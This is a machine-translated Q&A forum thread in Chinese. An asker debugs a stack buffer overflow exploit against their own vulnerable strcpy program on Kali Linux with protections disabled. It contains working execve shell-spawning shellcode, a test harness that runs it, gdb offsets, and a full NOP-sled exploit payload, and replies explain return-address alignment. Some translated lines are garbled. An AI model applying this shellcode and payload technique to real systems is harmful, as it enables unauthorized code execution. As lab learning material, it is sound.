[英]Buffer Overflow not spawning shell?
(我知道,答案太多,但需要幫助)
據我所知,緩沖區溢出可以由ASLR,內存canaries或非可執行堆棧保護。 所以為了我的測試目的,我使用以下sysctl -w kernel.randomize_va_space=0
禁用ASLR,使用以下-fno-stack-protector
禁用程序sysctl -w kernel.randomize_va_space=0
並使用以下-z execstack
使堆棧可執行。
現在確認一下我做了: ASLR
root@kali:/tmp# cat /proc/sys/kernel/randomize_va_space
0
可執行堆棧 : readelf -l vuln2
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
其他可能有用的信息 :
root@kali:/tmp# file vuln2
vuln2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8102b60ffa8c26f231e4184d2f49b2e7c26a18b9, not stripped
CPU架構是小端:
root@kali:/tmp# lscpu | grep 'Byte Order'
Byte Order: Little Endian
程序:
#include <stdio.h>
int main(int argc, char *argv[]){
char buf[512];
strcpy(buf, argv[1]);
return 0;
}
匯編:
gcc -o vuln2 vuln2.c -fno-stack-protector -z execstack
Shellcode:是25個字節
\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05
shellcode有效嗎? 是的 ,是的,編譯這個產生一個shell:
#include <sys/mman.h>
#include <stdint.h>
char code[] = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05";
int main(){
mprotect((void *)((uint64_t)code & ~4095), 4096, PROT_READ|PROT_EXEC);
(*(void(*)()) code)();
return 0;
}
我該如何利用它?
我需要526個字節來覆蓋RIP
:
(gdb) r $(python -c 'print "A"*526')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "A"*526')
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/x $rip
0x414141414141: Cannot access memory at address 0x414141414141
堆棧起始地址: 0x7fffffffdd70
(gdb) x/100x $rsp
0x7fffffffdd60: 0xffffe058 0x00007fff 0xf7fd3298 0x00000002
0x7fffffffdd70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd80: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd90: 0x41414141 0x41414141 0x41414141 0x41414141
RBP地址:
(gdb) x/x $rbp
0x7fffffffdf70: 0x41414141
現在為了利用堆棧,我們從526減去6,將用返回地址替換,減去25,這是shellcode,所以總計526-6-25=495
最終利用:
(gdb) r $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
Program received signal SIGILL, Illegal instruction.
0x00007fffffffdf73 in ?? ()
我有什么錯誤嗎?
1)我有同樣的問題。 當堆棧上的返回地址為時,就會發生這種情況
通過shellcode修改並且替換的地址不屬於有效
地址。
收到此錯誤后,鍵入x / 400xw $ rsp,選擇有效地址並更正
填充,從堆棧。
別客氣。
0x00007fffffffdf73不能是有效地址,因為您處於64位模式
這個地址不是8字節對齊的。
沒有字從這個地址開始。
例如,
0x7fffffffdf70: 0x41414141 0x41414141 0x41414141 0x41414141
如果您嘗試訪問0x7fffffffdf73,則檢索第一個字(從左側)和第3個字節從右側
(因為小端,MSB在右邊)。
因此,您必須選擇0x7fffffffdf70或0x7fffffffdf74或地址
0x7fffffffdf78等...(地址的最后一位數為4)
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.